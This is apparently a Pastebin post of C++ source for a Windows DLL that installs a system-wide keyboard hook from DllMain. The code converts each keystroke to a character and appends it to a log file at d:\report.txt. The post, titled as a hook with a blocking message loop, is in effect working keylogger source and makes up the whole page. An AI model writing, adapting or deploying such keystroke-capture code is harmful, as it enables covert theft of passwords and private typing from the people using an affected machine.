Advertisement
Guest User

Hook with blocking message loop

a guest
Oct 28th, 2010
625
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 2.53 KB | None | 0 0
  1. // dllmain.cpp : Defines the entry point for the DLL application.
  2. #include "stdafx.h"
  3. #include <Windows.h>
  4. #include <stdio.h>
  5.  
  6. #pragma comment(linker, "/SECTION:.MYHOOK,RWS")
  7. #pragma data_seg(".MYHOOK")
  8. const char* cLogFile = "d:\\report.txt";
  9. HINSTANCE hInstance = NULL;
  10. HHOOK hkb = NULL;
  11. FILE *f1 = NULL;
  12. BOOL hookActive = FALSE;
  13. #pragma data_seg()
  14.  
  15. LRESULT CALLBACK KeyboardProc(
  16.     int nCode,
  17.     WPARAM wParam,
  18.     LPARAM lParam)
  19. {
  20.     char ch;           
  21.     if (((DWORD)lParam & 0x40000000) && (HC_ACTION == nCode))
  22.     {      
  23.         if ((wParam == VK_SPACE) || (wParam == VK_RETURN) || (wParam >= 0x2f ) && (wParam <= 0x100))
  24.         {
  25.             f1 = fopen(cLogFile, "a+");
  26.             if (wParam == VK_RETURN)
  27.             {   ch = '\n';
  28.             fwrite(&ch, 1, 1, f1);
  29.             }
  30.             else
  31.             {
  32.                 BYTE ks[256];
  33.                 GetKeyboardState(ks);
  34.                 WORD w;
  35.                 UINT scan;
  36.                 scan = 0;
  37.                 ToAscii(wParam,scan, ks, &w, 0);
  38.                 ch = char(w);
  39.                 fwrite(&ch, 1, 1, f1);
  40.             }
  41.             fclose(f1);
  42.         }
  43.  
  44.     }
  45.    
  46.     LRESULT RetVal = CallNextHookEx(hkb, nCode, wParam, lParam);   
  47.  
  48.     return  RetVal;
  49. }
  50.  
  51. BOOL InstallHook()
  52. {
  53.     f1 = fopen(cLogFile, "w");
  54.     fputs("loaded...\n",f1);
  55.     fclose(f1);
  56.     hkb = SetWindowsHookEx(WH_KEYBOARD,
  57.         (HOOKPROC)KeyboardProc,
  58.         hInstance,
  59.         0);
  60.  
  61.     hookActive = TRUE;
  62.  
  63.     MSG msg;
  64.     BOOL bRet;
  65.  
  66.     while( (bRet = GetMessage( &msg, NULL, 0, 0 )) != 0)
  67.     {
  68.         if (bRet == -1)
  69.         {
  70.             return FALSE;
  71.         }
  72.         else
  73.         {
  74.             TranslateMessage(&msg);
  75.             DispatchMessage(&msg);
  76.         }
  77.     }
  78.  
  79.     if(hkb == NULL)
  80.         return FALSE;
  81.     else
  82.         return TRUE;
  83. }
  84.  
  85. BOOL UnHook()
  86. {
  87.     BOOL unhooked = UnhookWindowsHookEx(hkb);
  88.     return unhooked;
  89. }
  90.  
  91. BOOL APIENTRY DllMain( HMODULE hModule,
  92.     DWORD  ul_reason_for_call,
  93.     LPVOID lpReserved
  94.     )
  95. {
  96.     BOOL result = FALSE;
  97.     DWORD err;
  98.     LPTSTR Error = 0;
  99.  
  100.     switch (ul_reason_for_call)
  101.     {
  102.     case DLL_PROCESS_ATTACH:
  103.         hInstance = hModule;
  104.  
  105.         if(!hookActive)
  106.             result = InstallHook();
  107.         else
  108.             break;
  109.  
  110.         if(!result)
  111.         {
  112.             // Get last error.
  113.             err = GetLastError();
  114.  
  115.             // Translate ErrorCode to String.
  116.  
  117.             if(::FormatMessage( FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,
  118.                 NULL,
  119.                 err,
  120.                 0,
  121.                 (LPTSTR)&Error,
  122.                 0,
  123.                 NULL) == 0)
  124.             {
  125.                 // Failed in translating.
  126.             }
  127.  
  128.             // Display message.
  129.             MessageBox( NULL, Error, L"GetLastError()", MB_OK|MB_ICONWARNING );
  130.  
  131.             // Free the buffer.
  132.             if( Error )
  133.             {
  134.                 ::LocalFree( Error );
  135.                 Error = 0;
  136.             }
  137.         }
  138.  
  139.         break;
  140.     case DLL_THREAD_ATTACH:
  141.     case DLL_THREAD_DETACH:
  142.     case DLL_PROCESS_DETACH:
  143.         UnHook();
  144.         break;
  145.     }
  146.     return TRUE;
  147. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement